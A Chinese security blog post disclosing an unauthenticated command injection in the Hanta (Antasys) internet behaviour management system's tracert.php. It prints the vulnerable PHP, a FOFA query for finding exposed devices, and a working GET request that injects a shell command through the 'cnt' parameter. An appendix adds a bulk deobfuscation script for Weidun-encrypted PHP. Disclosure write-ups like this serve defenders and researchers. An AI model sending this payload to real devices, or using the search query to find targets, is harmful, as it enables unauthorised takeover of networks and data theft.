汉塔科技上网行为管理系统 tracert.php 命令注入漏洞


漏洞简介

汉塔科技 - 上网行为管理系统是上海汉塔网络科技有限公司开发的一款上网行为流量管理系统。其系统 tracert.php 存在命令注入漏洞,未授权攻击者可利用此漏洞在服务器上执行任意系统命令,造成系统失陷、敏感数据泄露等高危风险。

影响版本

fofa语法

body="Antasys"

漏洞分析

系统比较古老,使用的是威盾PHP混淆加密,可以参考附录部分代码进行批量解密或者使用参考链接部分进行在线单个文件解密。

直接看 dgn/dgn_tools/tracert.php 的业务逻辑实现关键部分

<?php

ini_set('display_errors', 1);
error_reporting(E_ALL ^ E_NOTICE);
$trace_ip_addr = $_REQUEST['ipdm'];
$maxhops = $_REQUEST['cnt'];
if (get_magic_quotes_gpc()) {
    $trace_ip_addr = stripslashes($trace_ip_addr);
}
if (strlen($trace_ip_addr) <= 50) {
    if (1) {
        echo '<pre>' . "\n" .
            'traceroute ' . $trace_ip_addr . "<br>";
        system('traceroute ' . $trace_ip_addr . ' -m ' . $maxhops);
        echo '</pre>' . "\n" .
            '<p>Trace complete.</p>' . "\n";
    } else {
        echo '<p>Please enter a valid IP address.</p>' . "<br>";
    }
} else {
    echo '<p>An illegal operation was encountered.</p>' . "<br>";
}
?>

通过 $_REQUEST 超全局变量获取 ipdm 和 cnt 参数值后,对前者使用 get_magic_quotes_gpc() 对获取的 $trace_ip_addr 进行单双引号反斜杠以及null字符进行转义(添加反斜杠),命令注入时需要注意。其次是判断 $trace_ip_addr 的长度小于等于50就直接拼接进 system函数进行命令执行,无任何过滤,造成命令注入漏洞。

漏洞复现

GET /dgn/dgn_tools/tracert.php?cnt=1;set;&ipdm=127.0.0.1 HTTP/1.1
Host: antasys.test
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0

两个参数均存在命令注入

成功执行命令并回显结果。

附录

威盾PHP解密,批量解密: https://gist.github.com/Mr-xn/2c749d160cb4b7460b504c9cf0376ec6

<?php
/***********************************
 *威盾PHP加密专家解密算法 By:zhrt
 *http://www.oicto.com
 *2013.12.31
 *把该程序放到网站程序的目录下,即可针对文件所在目录及子目录的文件进行破解,源加密文件被更改名为.bak.php.
 ***********************************/

//decode("Image.class.php");

function explorerdir($dir)
{
    $dp=opendir($dir); //打开目录句柄
    //echo " ".$dir."\r\n"; //输出目录
    while ($file = readdir($dp)) //遍历目录
    {
        if ($file !='.'&&$file !='..') //如果文件不是当前目录及父目录
        {
            $path=$dir.DIRECTORY_SEPARATOR.$file; //获取路径
            if(is_dir($path)) //如果当前文件为目录
            {
                explorerdir($path);   //递归调用
            }
            else   //如果不是目录
            {

                //echo "-".$path."\n"; //输出文件名

                echo decode($path);

            }
        }
    }
    closedir($dp);    //关闭文件名柄

}
explorerdir(".");    //调用当前目录

function decode($filename="")
{

    if(pathinfo($filename, PATHINFO_EXTENSION)!="php" || strpos($filename,".bak.php") || realpath($filename) == __FILE__ ){return;}

    //$filename="intro.class.php";//要解密的文件

    if(!file_exists($filename))
    {
        exit("file is not exist;");

    }

    $lines = file($filename);//0,1,2行

    //第一次base64解密
    $content="";
    if(preg_match("/O0O0000O0\('.*'\)/",$lines[1],$y))
    {
        $content=str_replace("O0O0000O0('","",$y[0]);
        $content=str_replace("')","",$content);
        $content=base64_decode($content);
    }
    else
    {
        weidun_log(false,realpath($filename)." is not Encrypted!");
        return false;

    }
    //第一次base64解密后的内容中查找密钥
    $decode_key="";
    if(preg_match("/\),'.*',/",$content,$k))
    {
        $decode_key=str_replace("),'","",$k[0]);
        $decode_key=str_replace("',","",$decode_key);
    }
    //查找要截取字符串长度
    $str_length="";
    if(preg_match("/,\d*\),/",$content,$k))
    {
        $str_length=str_replace("),","",$k[0]);
        $str_length=str_replace(",","",$str_length);
    }
    //截取文件加密后的密文
    $Secret=substr($lines[2],$str_length);
    //echo $Secret;

    //直接还原密文输出
    echo "<!-- <?php\n".base64_decode(strtr($Secret,$decode_key,'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'))."?> -->"; //很奇怪,去掉这行,下面的代码就出现问题,可能跟编码有关,在这里我就暂时不做进一步分析了,注视掉避免界面缭乱。
    //echo "解密中....\<br>";
    $filecontent = "<?php\n".base64_decode(strtr($Secret,$decode_key,'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'))."?>";
    //echo $filecontent;
    $filenamebak = str_replace(".php",".bak.php",$filename);

    if(!file_exists($filenamebak)){

        if(rename($filename,$filenamebak))
        {

            if(!file_exists($filename) && file_exists($filenamebak))//文件被更改成功
            {

                $fp = fopen($filename,"w");
                fwrite($fp,$filecontent);
                fclose($fp);

            }

        }

    }else{

        //return("备份文件".$filenamebak."已存在,停止解密。");
        weidun_log(false,realpath($filenamebak)." is exist!");
        return false;

    }
    weidun_log(true,realpath($filename)." - successful!");
    return $filename." - successful! \n";

}

function weidun_log($s = true,$c ="")
{

    if($s)
    {
        $fp = fopen("./log.txt","a+");
        fwrite($fp,$c."\n");
        fclose($fp);
    }
    else
    {
        $fp = fopen("./log_error.txt","a+");
        fwrite($fp,$c."\n");
        fclose($fp);
    }

}
?>

在线单个文件解密:https://yoursunny.com/p/PHP-decode/

PS: 最近刚好在公众号看到有人去蛐蛐漏洞提交者的,啥心态啊, 这些洞真不是啥不得了的大洞。


手机扫码阅读

警惕!Telegram桌面版曝出.m3u文件漏洞,或致IP地址与NTLMv2哈希泄露

锐捷-EWEB patch.php 命令注入漏洞

评 论